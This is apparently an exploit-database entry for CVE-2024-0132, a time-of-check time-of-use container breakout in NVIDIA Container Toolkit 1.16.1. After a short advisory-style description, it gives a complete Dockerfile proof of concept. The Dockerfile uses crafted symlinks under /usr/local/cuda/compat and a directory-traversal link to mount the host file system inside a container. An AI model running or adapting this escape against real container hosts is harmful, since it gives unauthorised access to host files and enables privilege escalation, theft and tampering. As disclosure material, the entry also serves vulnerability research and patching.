NVIDIA Container Toolkit 1.16.1 - Time-of-check Time-of-Use (TOCTOU)

# Exploit Title: Container Breakout with NVIDIA Container Toolkit
# Date: 17/02/2025
# Exploit Author: r0binak
#Software Link Homepage: https://github.com/NVIDIA/nvidia-container-toolkit
# Version: 1.16.1
# Tested on: NVIDIA Container Tooklit 1.16.1
# CVE: CVE-2024-0132

Description: NVIDIA Container Toolkit 1.16.1 or earlier contains a
Time-of-check Time-of-Use (TOCTOU) vulnerability when used with
default configuration where a specifically crafted container image may
gain access to the host file system. This does not impact use cases
where CDI is used. A successful exploit of this vulnerability may lead
to code execution, denial of service, escalation of privileges,
information disclosure, and data tampering.

PoC link: https://github.com/r0binak/CVE-2024-0132

Steps to Reproduce:

Build and run a docker image based on such a Dockerfile:

FROM ubuntu

RUN mkdir -p /usr/local/cuda/compat/

RUN mkdir -p /usr/lib/x86_64-linux-gnu/libdxcore.so.1337/
RUN echo test >
/usr/lib/x86_64-linux-gnu/libdxcore.so.1337/libdxcore.so.1337.hostfs

RUN mkdir -p /pwn/libdxcore.so.1337/
RUN ln -s ../../../../../../../../../
/pwn/libdxcore.so.1337/libdxcore.so.1337.hostfs

RUN ln -s /pwn/libdxcore.so.1337 /usr/local/cuda/compat/libxxx.so.1

RUN ln -s /usr/lib/x86_64-linux-gnu/libdxcore.so.1337/libdxcore.so.1337.hostfs
/usr/local/cuda/compat/libxxx.so.2

The host file system will reside in
/usr/lib/x86_64-linux-gnu/libdxcore.so.1337.hostfs/

Regards,
Sergey `*r0binak*` Kanibor